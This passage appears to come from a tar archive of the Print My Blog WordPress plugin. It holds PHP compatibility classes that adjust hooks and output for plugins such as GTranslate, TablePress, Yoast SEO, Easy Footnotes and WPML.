add_action( 'loop_start', array( $this, 'dontFilterContent' ), 11 );
}
/**
* Don't let AdvancedExcerpt filter the content. We want the full content as normal.
*/
public function dontFilterContent(){
global $advanced_excerpt;
remove_filter( 'the_content', array( $advanced_excerpt, 'filter_content' ) );
}
}
PrintMyBlog/compatibility/plugins/AdvancedCustomFields.php 0000644 00000000556 14666776752 0020104 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
class AdvancedCustomFields extends CompatibilityBase
{
/**
* Allow using shortcodes outside of post body
*/
public function setRenderingHooks()
{
add_filter('acf/shortcode/allow_in_block_themes_outside_content', '__return_true');
}
} PrintMyBlog/compatibility/plugins/GTranslate.php 0000644 00000003563 14666776752 0016122 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class GTranslate for plugin https://wordpress.org/plugins/gtranslate/
* Adds a GTranslate dropdown
* @package PrintMyBlog\compatibility\plugins
*/
class GTranslate extends CompatibilityBase
{
public function setHooks()
{
add_action('pmb_print_page_ready_instructions_start', [$this,'addGtranslateDropdown']);
add_action('pmb_pro_print_page_window_end', [$this,'addGtranslateDropdown']);
//add_action('wp_enqueue_scripts', [$this,'enqueueScripts']);
}
public function addGtranslateDropdown(){
echo '<div style="text-align:center; margin:20px">' . do_shortcode('[gtranslate]') . '</div>';
$this->enqueueScripts();
}
public function enqueueScripts(){
// gTranslate adds a unique, random code onto the end of their script handle. So we need to do some digging to find it.
global $wp_scripts;
foreach($wp_scripts->queue as $key => $item){
if(strpos($item,'gt_widget_script_') === 0){
$gt_script_handle = $item;
}
}
if(! $gt_script_handle){
return;
}
// Modify gTranslate's variable to disable redirecting when switching languages
wp_add_inline_script($gt_script_handle,'
for (var prop in window.gtranslateSettings) {
if (Object.prototype.hasOwnProperty.call(window.gtranslateSettings, prop)) {
var prop_value = window.gtranslateSettings[prop];
if(typeof(prop_value.url_structure) !== "undefined"){
prop_value.url_structure="none";
}
}
}
jQuery(document).on("pmb_doc_conversion_ready", function(){
jQuery(".gtranslate_wrapper").remove();
});
',
'before');
}
} PrintMyBlog/compatibility/plugins/YoastSeo.php 0000644 00000001710 14666776752 0015614 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use PrintMyBlog\system\CustomPostTypes;
use Twine\compatibility\CompatibilityBase;
/**
* Class YoastSeo
* @package PrintMyBlog\compatibility\plugins
*/
class YoastSeo extends CompatibilityBase
{
/**
* Set hooks for compatibility with PMB for any request.
*/
public function setHooks()
{
// remove pmb content from sitemap
add_filter('wpseo_sitemap_index_links', [$this, 'removePmbContentFromSitemap']);
}
/**
* Filters the sitemap to remove pmb_content. See https://wordpress.org/support/topic/pmb_content-sitemap-xml/
* @param array $links
* @return array
*/
public function removePmbContentFromSitemap($links)
{
foreach ($links as $key => $link_data) {
if (strstr($link_data['loc'], CustomPostTypes::CONTENT) !== false) {
unset($links[$key]);
}
}
return $links;
}
}
PrintMyBlog/compatibility/plugins/TablePress.php 0000644 00000003470 14666776752 0016117 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
use TablePress as TablePressInit;
/**
* Class TablePress
* @package PrintMyBlog\compatibility\plugins
*/
class TablePress extends CompatibilityBase
{
/**
* Get TablePress to register its shortcodes on our special AJAX request too.
* See https://wordpress.org/support/topic/short-code-displaying-when-call-post-data-through-ajax/
*/
public function setRenderingHooks()
{
$zero = class_exists('TablePress');
$a = property_exists('TablePress', 'controller');
$b = method_exists('TablePress', 'load_controller');
if (
defined('DOING_AJAX') && DOING_AJAX
&& class_exists('TablePress')
&& property_exists('TablePress', 'controller')
&& method_exists('TablePress', 'load_controller')
) {
TablePressInit::$controller = TablePressInit::load_controller('frontend');
if (method_exists(TablePressInit::$controller, 'init_shortcodes')) {
TablePressInit::$controller->init_shortcodes();
add_filter('tablepress_table_js_options', [$this, 'optimizeTablesForPmb']);
}
}
parent::setRenderingHooks(); // TODO: Change the autogenerated stub
}
/**
* Filters TablePress' options to remove interactive elements like pagination, sorting, and searching.
* See \TablePress_Frontend_Controller::shortcode_table()
* @param array $original_options
* @return array
*/
public function optimizeTablesForPmb($original_options)
{
$original_options['datatables_paginate'] = false;
$original_options['datatables_sort'] = false;
$original_options['datatables_filter'] = false;
return $original_options;
}
}
PrintMyBlog/compatibility/plugins/WpVrView.php 0000644 00000006100 14666776752 0015575 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class EasyFootnotes
*
* For the plugin located at https://wordpress.org/plugins/wp-vr-view/
* 360 VR images obviously dont work when reading, so replace them with just the preview image or some text.
*
* @package Print My Blog
* @author Mike Nelson
* @since 2.1.4
*
*/
class WpVrView extends CompatibilityBase
{
/**
* Override their shortcode.
*/
public function setRenderingHooks()
{
// Their shortcode becomes a simple iFrame that has JS that doesn't work in Prince XML.
// So replace their shortcode with our own thing.
remove_shortcode('vrview');
add_shortcode('vrview', [$this, 'shortcode']);
}
/**
* We just want to set some hooks; we don't want to actually change any results.
* @since $VID:$
* @param array $atts
* @return mixed
*/
public function shortcode($atts)
{
// code mostly copy-and-pasted from wp-vr-view's vr_creation()
$a = shortcode_atts(
array(
'img' => '',
'video' => '',
'pimg' => '',
'stereo' => 'false',
'width' => '640',
'height' => '360',
),
$atts
);
$img_url = 'image=' . $a['img'];
$stereo = '&is_stereo=' . $a['stereo']; // generate s_stereo parameter - defaul is FALSE
/* if has video then add it to URL */
$video_url = '';
if ($a['video']) {
$video_url = 'video=' . $a['video'];
if ($a['img']) {
$img_url = '&image=' . $a['img'];
} else {
$img_url = '';
}
}
/* if has preview then add it to URL */
$pimg_url = '';
if ($a['pimg']) {
$pimg_url = '&preview=' . $a['pimg'];
}
// ==================================================================
// MODIFIED FROM ORIGINAL because original just used plugin_dir_url(__FILE__) from WP VR View's main file
$iframe_url = plugin_dir_url(
dirname(dirname(PMB_MAIN_FILE))
. '/wp-vr-view/wp-vrview.php'
)
. 'asset/index.html?'
. $video_url
. $img_url
. $stereo
. $pimg_url;
// turn it into a link instead of an iframe here
$html = '<div class="pmb-wp-vr-view-wrapper"><a href="' . $iframe_url . '">';
if (isset($a['pimg']) && $a['pimg']) {
$html .= '<img class="wp-vr-view pmb-video-preview" style="max-width:'
. $a['width']
. ';max-height:'
. $a['height']
. '" src="'
. esc_url($a['pimg']) . '">';
} else {
$html .= '<p>' . __('360 Image Available', 'print-my-blog') . '</p>';
}
$html .= '</a></p></div>';
return $html;
}
}
// End of file EasyFootnotes.php
// Location: PrintMyBlog\compatibility\plugins/EasyFootnotes.php
PrintMyBlog/compatibility/plugins/PaidMembershipsPro.php 0000644 00000000677 14666776752 0017616 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
class PaidMembershipsPro extends CompatibilityBase
{
/**
* Sets hooks to modify a PMB request
*/
public function setRenderingHooks()
{
// If they added the post to a project, show it in the project plz.
add_filter(
'pmpro_has_membership_access_filter',
'__return_true'
);
}
}
PrintMyBlog/compatibility/plugins/JetPack.php 0000644 00000001713 14666776752 0015372 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
use Twine\forms\base\FormSection;
use Twine\forms\inputs\SelectInput;
/**
* Class JetPack
* @package PrintMyBlog\compatibility\plugins
*/
class JetPack extends CompatibilityBase
{
/**
* Sets hooks
*/
public function setHooks()
{
add_filter(
'PrintMyBlog\domain\DefaultDesignTemplates->getGenericDesignForm',
[$this, 'removeScaledResizeOption']
);
}
/**
* Removes the option to choose "scaled" image size as JetPack doesn't have it
* when using their CDN.
* @param FormSection $form
*/
public function removeScaledResizeOption(FormSection $form)
{
$image_quality_input = $form->findSection('image_quality');
if ($image_quality_input instanceof SelectInput) {
$image_quality_input->removeOption('scaled');
}
return $form;
}
}
PrintMyBlog/compatibility/plugins/CoBlocks.php 0000644 00000001134 14666776752 0015545 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class CoBlocks
* @package PrintMyBlog\compatibility\plugins
*/
class CoBlocks extends CompatibilityBase
{
/**
* Remove a script with an error in DocRaptor.
*/
public function setRenderingHooks()
{
add_action('wp_enqueue_scripts', array( $this, 'removeBadScripts' ));
}
/**
* Remove the coblcoks animation script as it has an error in DocRaptor
*/
public function removeBadScripts()
{
wp_dequeue_script('coblocks-animation');
}
}
PrintMyBlog/compatibility/plugins/LazyLoadingFeaturePlugin.php 0000644 00000001635 14666776752 0020764 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class LazyLoadingFeaturePlugin
*
* Hooks for sometimes disabling lazy loading images
*
* @package Print My Blog
* @author Mike Nelson
* @since $VID:$
*
*/
class LazyLoadingFeaturePlugin extends CompatibilityBase
{
/**
* Disable lazy-loading on REST requests. Firefox's print-preview doesn't show the images unless you scroll down.
*/
public function setHooks()
{
add_filter(
'wp_lazy_loading_enabled',
function () {
return ! defined('REST_REQUEST');
}
);
}
/**
* Prevent lazy loading images.
*/
public function setRenderingHooks()
{
// when rendering pro print, always disable lazy loading
add_filter('wp_lazy_loading_enabled', '__return_false');
}
}
PrintMyBlog/compatibility/plugins/EasyFootnotes.php 0000644 00000004772 14666776752 0016663 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use Twine\compatibility\CompatibilityBase;
/**
* Class EasyFootnotes
*
* For the plugin located at https://wordpress.org/plugins/easy-footnotes/.
* On REST API requests, tell WP_Query is_singular so footnotes get rendered.
* See https://wordpress.org/support/topic/showing-footnotes-in-rest-api/ where I suggested a fix in
* their plugin, but so far it hasn't been implemented.
*
* @package Print My Blog
* @author Mike Nelson
* @since 2.1.4
*
*/
class EasyFootnotes extends CompatibilityBase
{
/**
* @var $old_wp_query_is_singular_value boolean used to store WP_Query->is_singular's original value
* which we temporarily reassign.
*/
protected $old_wp_query_is_singular_value;
/**
* Temporarily make EasyFootnotes think it's a singular page so their stuff works.
*/
public function setHooks()
{
// There's no actions between when we know it's a REST request ('parse_request' is when "REST_REQUEST" gets
// defined)
// and the posts are fetched for the REST API response, except this one (and maybe another).
add_filter('rest_pre_dispatch', [$this, 'checkIfRestRequest'], 11);
}
/**
* We just want to set some hooks; we don't want to actually change any results.
* @param string $normal_result
* @return mixed
*/
public function checkIfRestRequest($normal_result)
{
add_filter('the_content', [$this, 'tellEasyFootnotesItsASingularRequest'], 19);
add_filter('the_content', [$this, 'okNoMoreNeedForTheDisguise'], 21);
return $normal_result;
}
/**
* Just tell Easy Footnoes its a singular request so it places the footnotes on the page.
* @param string $content
* @return mixed
*/
public function tellEasyFootnotesItsASingularRequest($content)
{
global $wp_query;
$this->old_wp_query_is_singular_value = $wp_query->is_singular;
$wp_query->is_singular = true;
return $content;
}
/**
* Easy Footnotes should have added the footnotes, so we can restore the true value of WP_Query->is_singular.
* @param string $content
* @return mixed
*/
public function okNoMoreNeedForTheDisguise($content)
{
global $wp_query;
$wp_query->is_singular = $this->old_wp_query_is_singular_value;
return $content;
}
}
// End of file EasyFootnotes.php
// Location: PrintMyBlog\compatibility\plugins/EasyFootnotes.php
PrintMyBlog/compatibility/plugins/Wpml.php 0000644 00000066100 14666776752 0014771 0 ustar 00 <?php
namespace PrintMyBlog\compatibility\plugins;
use PrintMyBlog\entities\ProjectGeneration;
use PrintMyBlog\orm\entities\Design;
use PrintMyBlog\orm\entities\Project;
use PrintMyBlog\orm\entities\ProjectSection;
use PrintMyBlog\orm\managers\DesignManager;
use PrintMyBlog\orm\managers\ProjectManager;
use PrintMyBlog\services\generators\ProjectFileGeneratorBase;
use PrintMyBlog\system\CustomPostTypes;
use SitePress;
use Twine\forms\base\FormSection;
use Twine\forms\base\FormSectionHtml;
use Twine\forms\helpers\InputOption;
use Twine\forms\inputs\SelectInput;
use Twine\forms\inputs\SelectRevealInput;
use Twine\helpers\Array2;
use Twine\helpers\Html;
use WP_Post;
use WP_Query;
use wpml_get_active_languages;
use Twine\compatibility\CompatibilityBase;
use WPML_Post_Status_Display;
/**
* Class Wpml
* @package PrintMyBlog\compatibility\plugins
*/
class Wpml extends CompatibilityBase
{
/**
* @var ProjectManager
*/
private $project_manager;
/**
* @var DesignManager
*/
private $design_manager;
/**
* @var CustomPostTypes
*/
private $post_types;
/**
* @param ProjectManager $project_manager
* @param DesignManager $design_manager
* @param CustomPostTypes $post_types
*/
public function inject(ProjectManager $project_manager, DesignManager $design_manager, CustomPostTypes $post_types)
{
$this->project_manager = $project_manager;
$this->design_manager = $design_manager;
$this->post_types = $post_types;
}
/**
* Set hooks for compatibility with PMB for any request.
*/
public function setHooks()
{
// when activating make sure we create the needed translations of PMB default content
add_action('PrintMyBlog\system\Activation->install done', [$this, 'fixPmbContentTranslations']);
// add a filter for language on the content editing page
add_action('pmb__project_edit_content__filters_top', [$this, 'addLanguageFilter'], 1);
// change the WP_Query to only include the selected language on Ajax requests
add_filter('\PrintMyBlog\controllers\Ajax->handlePostSearch $query_params', [$this, 'setupWpQueryWithWpml']);
// change the print page's language according to the project
add_filter(
'\PrintMyBlog\controllers\Admin::enqueueScripts pmb_ajax',
[$this, 'changeUrlToProjectLanguage'],
10,
2
);
add_filter(
'\PrintMyBlog\controllers\Admin::enqueueScripts site_url',
[$this, 'changeUrlToProjectLanguage'],
10,
2
);
// add translation options directly to project editing page
add_action('pmb_content_items__project-item-title end', [$this, 'showTranslationsOnProjectItems'], 10, 6);
// translate posts when generating a project
add_filter('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->sortPostsAndAttachSections $sections', [$this, 'sortTranslatedPosts'], 10, 2);
add_action('project_edit_generate__under_header', [$this, 'addTranslationOptions'], 10, 2);
add_action('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->getHtmlFrom before_ob_start', [$this, 'setTranslatedProject']);
add_action('\PrintMyBlog\services\generators\ProjectFileGeneratorBase->getHtmlFrom after_get_clean', [$this, 'unsetTranslatedProject']);
add_action('wp_ajax_pmb_update_project_lang', [$this, 'handleAjaxUpdateProjectLanguage']);
// all projects are in the site's default language and then translated from the "generate" page
add_action('admin_enqueue_scripts', [$this, 'enqueueWpmlCompatAssets']);
// when designs and project metadata are saved, make those changes to their translations too
add_action('PrintMyBlog\controllers\Admin->saveProjectCustomizeDesign done', [$this, 'updateTranslatedDesignsToo'], 10, 4);
add_action('PrintMyBlog\controllers\Admin->saveProjectMetadata done', [$this, 'updateTranslatedProjectsToo'], 10, 3);
// When a new project is created, it's created with the language last set in the WPML topbar--but we want it to always be the
// default language. So fix that after each time
add_action('wp_after_insert_post', [$this, 'fixNewPmbPost'], 10, 4);
}
/**
* Point to the right language for the site.
* @param string $site_url
* @param Project $project
* @return mixed|void
*/
public function changeUrlToProjectLanguage($site_url, $project)
{
if (! $project instanceof Project) {
return $site_url;
}
$selected_language = $this->getProjectLanguage($project);
if (! $selected_language) {
return $site_url;
}
return apply_filters('wpml_permalink', $site_url, $selected_language);
}
/**
* @param string $hook
*/
public function enqueueWpmlCompatAssets($hook)
{
// PMB project pages are all treated as if they're in the site's primary language
if ($hook === 'toplevel_page_print-my-blog-projects') {
global $sitepress;
$sitepress->switch_lang(wpml_get_default_language());
wp_add_inline_style(
'pmb_common',
'/* Hide WPML language switcher on PMB project pages as it doesn\'t make sense there. All projects are in the main languager then translated*/
#wp-admin-bar-WPML_ALS{
display:none;
}'
);
}
}
/**
* Fixes PMB content (no initial translation record, or its in the wrong language)
*/
public function fixPmbContentTranslations()
{
global $wpdb, $sitepress;
// find all PMB content needing a translation entry
$post_types_sql = implode(
', ',
array_map(
function ($item) {
global $wpdb;
return $wpdb->prepare('%s', $item);
},
$this->post_types->getPostTypes()
)
);
$default_lang = wpml_get_default_language();
// find PMB content with no initial translation record (WPML assumes that always exists)
// or its a project or design that is not for the primary language (their original entry must always be in the primary language)
// phpcs:disable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
$pmb_stuff_to_fix = $wpdb->get_results(
$wpdb->prepare(
"SELECT * FROM {$wpdb->posts} posts
LEFT JOIN {$wpdb->prefix}icl_translations translations ON translations.element_type=CONCAT('post_', posts.post_type) AND posts.ID=translations.element_id
WHERE
(
posts.post_type IN ({$post_types_sql})
AND translations.translation_id IS NULL
)
OR
(
posts.post_type IN (%s, %s)
AND translations.language_code!=%s
AND translations.source_language_code IS NULL
)",
CustomPostTypes::PROJECT,
CustomPostTypes::DESIGN,
$default_lang
),
ARRAY_A
);
// phpcs:enable WordPress.DB.PreparedSQL.InterpolatedNotPrepared
foreach ($pmb_stuff_to_fix as $post_needing_update) {
$sitepress->set_element_language_details(
$post_needing_update['ID'],
'post_' . $post_needing_update['post_type'],
null,
wpml_get_default_language(),
null,
true
);
}
}
/**
* After a project or design is newly created, make sure it's in the default language
* @param int $post_id
* @param WP_Post $post
* @param boolean $updated true if it's an update, false if it's newly inserted
* @param WP_Post|null $post_before
*/
public function fixNewPmbPost($post_id, $post, $updated, $post_before)
{
global $sitepress;
if (
$post instanceof WP_Post &&
in_array(
$post->post_type,
[
CustomPostTypes::PROJECT,
CustomPostTypes::DESIGN,
],
true
) &&
! $updated
) {
$sitepress->set_element_language_details(
$post_id,
'post_' . $post->post_type,
null,
wpml_get_default_language(),
null,
true
);
}
}
/**
* @param Project|null $project
*/
protected function getProjectLanguage($project)
{
return $project instanceof Project ? $project->getPmbMeta('lang') : '';
}
/**
* @param Project|null $project
* Outputs the HTML for the language picker. Uses directly HTML because this form needed to be very custom-made.
*
*/
public function addLanguageFilter(Project $project = null)
{
if (! function_exists('wpml_get_active_languages') || ! function_exists('wpml_get_default_language')) {
// This is an error condition so express it as such.
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
error_log('PMB WPML integration was trying to run but the functions wpml_get_active_languages and wpml_get_default_language were not defined.');
return;
}
$languages = wpml_get_active_languages();
$project_language = wpml_get_default_language()
?>
<tr>
<th><label for="pmb-project-choices-language"><?php esc_html_e('Language', 'sitepress'); ?></label></th>
<td>
<select id="pmb-project-choices-language" name="pmb-post-language" form="pmb-filter-form">
<option value=""><?php esc_html_e('All Languages', 'sitepress'); ?></option>
<?php
foreach ($languages as $code => $language_data) {
$selected_attr = $project_language === $code ? ' selected ' : '';
// phpcs:disable WordPress.Security.EscapeOutput.OutputNotEscaped
?>
<option value="<?php echo esc_attr($code); ?>" <?php echo $selected_attr; ?>><?php echo $language_data['display_name']; ?></option>
<?php
// phpcs:enable WordPress.Security.EscapeOutput.OutputNotEscaped
}
?>
</select>
</td>
</tr>
<?php
}
/**
* Tell WP_Query to use filters, and add some so we only select posts of the requested language on Ajax requests searching for posts.
* @param WP_Query $wp_query
* @return mixed
*/
public function setupWpQueryWithWpml($wp_query)
{
// remove WPML's default WP_Query filtering from WPML_Query_Filter
// which assumes we only want items of the same language as the current post
global $wpml_query_filter, $sitepress;
remove_filter('posts_join', array($wpml_query_filter, 'posts_join_filter'), 10);
remove_filter('posts_where', array($wpml_query_filter, 'posts_where_filter'), 10);
// and don't let WPML parse the query, they turn the IDs of translated posts into their un-translated
// equivalents, which we don't want when excluding posts.
remove_action('parse_query', array($sitepress, 'parse_query'));
// setup our filters
$wp_query['suppress_filters'] = false;
add_filter('posts_join', [$this, 'joinToWpmlLanguagesTable']);
add_filter('posts_where', [$this, 'whereWpmlCondition']);
add_filter('posts_request', [$this, 'postsRequest']);
// and remember to re-add WPML's filters where we're done
add_filter('\PrintMyBlog\controllers\Ajax->handlePostSearch $posts', [$this, 'doneWpQuery']);
return $wp_query;
}
/**
* Filters the JOIN statement, so we join to the WPML translations table
* @param string $join_sql
* @return string
*/
public function joinToWpmlLanguagesTable($join_sql)
{
global $wpdb;
$join_sql .= 'LEFT JOIN ' . $wpdb->prefix . 'icl_translations t ON t.element_id=' . $wpdb->posts . '.ID AND t.element_type LIKE "post_%"';
return $join_sql;
}
/**
* Filters the WHERE statement, so we only include items of the right language
* @param string $where_sql
* @return string
*/
public function whereWpmlCondition($where_sql)
{
global $wpdb;
// phpcs:disable WordPress.Security.NonceVerification.Recommended -- no form was submitted, we're just looking at the URL.
if (empty($_GET['pmb-post-language'])) {
return $where_sql;
}
$language_code = sanitize_key($_GET['pmb-post-language']);
$where_sql .= $wpdb->prepare(' AND t.language_code=%s', $language_code);
return $where_sql;
}
/**
* Just useful for debugging sometimes, to see exactly what query we're using.
* @param string $sql
* @return mixed
*/
public function postsRequest($sql)
{
return $sql;
}
/**
* Put WPML's filters back in place in case they're needed
*
* @param WP_Post[] $posts
* @return mixed
*/
public function doneWpQuery($posts)
{
global $wpml_query_filter, $sitepress;
add_filter('posts_join', array($wpml_query_filter, 'posts_join_filter'), 10, 2);
add_filter('posts_where', array($wpml_query_filter, 'posts_where_filter'), 10, 2);
add_action('parse_query', array($sitepress, 'parse_query'));
return $posts;
}
/**
* @param array $data
* @param Project $project
* @return mixed
*/
public function setPrintPageLanguage($data, Project $project)
{
$selected_language = $this->getProjectLanguage($project);
if ($selected_language) {
$data['lang'] = $selected_language;
}
return $data;
}
/**
* @param ProjectSection[] $sections
* @param ProjectFileGeneratorBase $project_file_generator
* @return ProjectSection[] with the post IDs updated to their translations
*/
public function sortTranslatedPosts($sections, ProjectFileGeneratorBase $project_file_generator)
{
if (! function_exists('wpml_object_id_filter')) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- it's an error condition so record it.
error_log('PMB WPML integration was trying to run but the function wpml_object_id_filter was not defined.');
return $sections;
}
$project = $project_file_generator->getProject();
// if we're using the site's default language for the project, use the posts in whatever language they selected
// on the content editing step. This is primarily for backward compatibility, and maybe for projects with
// multiple languages in the future too.
$project_language = $project->getPmbMeta('lang');
if ($project_language === '') {
return $sections;
}
foreach ($sections as $section) {
$translated_post_id = wpml_object_id_filter($section->getPostId());
// if we couldn't find the translated version, use the original language
if ($translated_post_id) {
$section->setPostId($translated_post_id);
}
}
return $sections;
}
/**
* Gets the translated project and design objects.
*/
public function setTranslatedProject()
{
global $pmb_project, $pmb_wpml_original_project, $pmb_design, $pmb_wpml_original_design;
$pmb_wpml_original_project = $pmb_project;
$pmb_wpml_original_design = $pmb_design;
$pmb_project = $this->project_manager->getById(wpml_object_id_filter($pmb_project->getWpPost()->ID, 'post', true));
$pmb_design = $this->design_manager->getById(wpml_object_id_filter($pmb_design->getWpPost()->ID, 'post', true));
}
/**
* Restore to the original project and design objects.
*/
public function unsetTranslatedProject()
{
global $pmb_project, $pmb_wpml_original_project, $pmb_design, $pmb_wpml_original_design;
$pmb_project = $pmb_wpml_original_project;
$pmb_design = $pmb_wpml_original_design;
}
/**
* Add a language switcher and a div for each language.
* When the language is switched, unless it's the default language, provide translation options for it and its design
* @param Project $project
* @param array $generations
*/
public function addTranslationOptions(Project $project, $generations)
{
global $sitepress;
if (! function_exists('wpml_get_active_languages') || ! $sitepress instanceof SitePress || ! class_exists('\WPML_Post_Status_Display')) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- record error.
error_log('PMB WPML integration was trying to run but the function wpml_get_active_languages was not defined, the $sitepress global was not set, or the class WPML_Post_Status_Display was not defined.');
return;
}
$languages_data = wpml_get_active_languages();
$post_status_display = new WPML_Post_Status_Display($languages_data);
$default_language_code = $sitepress->get_default_language();
$default_language_details = $sitepress->get_language_details($default_language_code);
$language_options = [
$default_language_code => new InputOption(
sprintf(
// translators: %s: language name
esc_html__('Default language (currently %s)', 'sitepress'),
$default_language_details['display_name']
)
),
];
$form_sections = [];
foreach ($languages_data as $language_code => $language_data) {
if ($language_code === $default_language_code) {
continue;
}
$html_helper = Html::instance();
$design_translations_html = '';
foreach ($project->getDesignsSelected() as $design) {
$design_translations_html .= $html_helper->div(
sprintf(
// translators: %s: design name
__('Translate %s Design', 'print-my-blog'),
esc_html($design->getWpPost()->post_title)
)
. $post_status_display->get_status_html($design->getWpPost()->ID, $language_code)
);
}
$form_sections[$language_code] = new FormSection(
[
'subsections' => [
'html' => new FormSectionHtml(
$html_helper->h2(
sprintf(
// translators: %s: language name.
__('%s Translations', 'print-my-blog'),
$language_data['display_name']
)
)
. $html_helper->div(
__('Translate Project Metadata', 'print-my-blog')
. $post_status_display->get_status_html($project->getWpPost()->ID, $language_code)
)
. $design_translations_html
),
],
]
);
$language_options[$language_code] = new InputOption($language_data['display_name']);
}
$form_sections = array_merge(
[
'choose_language' => new SelectRevealInput(
$language_options,
[
'html_label_text' => __('Language', 'sitepress'),
'default' => $this->getProjectLanguage($project),
]
),
],
$form_sections
);
$form = new FormSection(
[
'name' => 'pmb-language-chooser',
'subsections' => $form_sections,
'enqueue_scripts_callback' => function () {
wp_add_inline_script(
'twine_form_section_validation',
"
// when the language is changed, change the parameter for generating the project.
jQuery(document).ready(function(){
jQuery('#pmb-language-chooser-choose-language').change(function(event){
var new_lang = jQuery('#pmb-language-chooser-choose-language').val();
pmb_generate.generate_ajax_data.lang = new_lang;
var data = {
'action':'pmb_update_project_lang',
'_nonce': pmb_generate.generate_ajax_data._nonce,
'project_id':pmb_generate.generate_ajax_data.ID,
'new_lang': new_lang
};
jQuery.ajax({
url:ajaxurl,
method:'POST',
data:data,
success:function(response){
console.log(response);
if (typeof (response) === 'object' &&
typeof(response.data) === 'object' &&
typeof (response.data.site_url) === 'string' &&
typeof (response.data.pmb_ajax) === 'string') {
pmb_generate.site_url = response.data.site_url;
pmb_generate.pmb_ajax = response.data.pmb_ajax;
}
}
});
});
});"
);
},
]
);
// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- intentionally outputting HTML.
echo $form->getHtmlAndJs();
}
/**
* Records the last-requested language for the project.
*/
public function handleAjaxUpdateProjectLanguage()
{
if (! check_ajax_referer('pmb-loading', '_nonce')) {
wp_send_json_error('please refresh the page');
}
$project_id = (int)Array2::setOr($_REQUEST, 'project_id', null);
$language_code = Array2::setOr($_REQUEST, 'new_lang', null);
if (! $project_id) {
wp_send_json_error('oups no project id');
}
if (! current_user_can('edit_pmb_project', $project_id)) {
wp_send_json_error('Oups you don\'t have permission to edit a project');
}
$project = $this->project_manager->getById($project_id);
if (! $project instanceof Project) {
wp_send_json_error('oups no such project');
}
$project->setPmbMeta('lang', $language_code);
wp_send_json_success(
[
'lang' => $language_code,
'site_url' => $this->changeUrlToProjectLanguage(site_url(), $project),
'pmb_ajax' => $this->changeUrlToProjectLanguage(pmb_ajax_url(), $project),
]
);
exit;
}
/**
* @param int $post_id
* @param string $title
* @param string $post_type
* @param string $template
* @param mixed $subs
* @param int $depth
*/
public function showTranslationsOnProjectItems($post_id, $title, $post_type, $template, $subs, $depth)
{
global $sitepress;
if (! function_exists('wpml_get_active_languages') || ! $sitepress instanceof SitePress || ! class_exists('\WPML_Post_Status_Display')) {
// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log -- it's an error so let's record it but not die outright.
error_log('PMB WPML integration was trying to run but the function wpml_get_active_languages was not defined, the $sitepress global was not set, or the class WPML_Post_Status_Display was not defined.');
return;
}
$languages_data = wpml_get_active_languages();
$post_status_display = new WPML_Post_Status_Display($languages_data);
foreach ($languages_data as $language_code => $language_data) {
list($text, $link, $trid, $css_class, $status) = $post_status_display->get_status_data($post_id, $language_code);
if ($status >= ICL_TM_TRANSLATION_READY_TO_DOWNLOAD) {
$flag_url = $sitepress->get_flag_url($language_code);
if ($flag_url) {
?>
<img src="<?php echo esc_url($flag_url); ?>" title="
<?php
echo esc_attr(
sprintf(
// translators: 1: post title, 2: language
__('"%1$s" is fully translated into %2$s', 'print-my-blog'),
$title,
$language_data['display_name']
)
);
?>
" width="18" height="12">
<?php
} else {
?>
<span style="margin-right:5px; padding-left: 5px; padding-right:5px; padding-bottom:3px; color:white; background-color:green; border-radius:4px;"><?php echo esc_html($language_code); ?></span>
<?php
}
}
?>
<?php
}
}
/**
* Make sure to update the translations of the design too when the design is customized.
* See https://wpml.org/wpml-hook/wpml_sync_all_custom_fields/
* @param Project $project
* @param ProjectGEneration $project_generation
* @param Design $design
* @param FormSection $design_form
*/
public function updateTranslatedDesignsToo($project, $project_generation, $design, $design_form)
{
if (! $design instanceof Design) {
return;
}
do_action('wpml_sync_all_custom_fields', $design->getWpPost()->ID);
}
/**
* Make sure to update all the translations of a project's metadata when it gets saved.
* @param Project $project
* @param ProjectGeneration[] $project_generations
* @param FormSection $form
*/
public function updateTranslatedProjectsToo($project, $project_generations, $form)
{
if (! $project instanceof Project) {
return;
}
do_action('wpml_sync_all_custom_fields', $project->getWpPost()->ID);
}
// otgs-ico-in-progress
// otgs-ico-add
}
PrintMyBlog/compatibility/DetectAndActivate.php 0000644 00000010165 14666776752 0015705 0 ustar 00 <?php
namespace PrintMyBlog\compatibility;
use PrintMyBlog\compatibility\plugins\AdvancedCustomFields;
use PrintMyBlog\compatibility\plugins\AdvancedExcerpt;
use PrintMyBlog\compatibility\plugins\CoBlocks;
use PrintMyBlog\compatibility\plugins\ContactForm7;
use PrintMyBlog\compatibility\plugins\EasyFootnotes;
use PrintMyBlog\compatibility\plugins\GoogleLanguageTranslator;
use PrintMyBlog\compatibility\plugins\GTranslate;
use PrintMyBlog\compatibility\plugins\JetPack;
use PrintMyBlog\compatibility\plugins\LazyLoadingFeaturePlugin;
use PrintMyBlog\compatibility\plugins\PaidMembershipsPro;
use PrintMyBlog\compatibility\plugins\TablePress;
use PrintMyBlog\compatibility\plugins\Wpml;
use PrintMyBlog\compatibility\plugins\WpVrView;
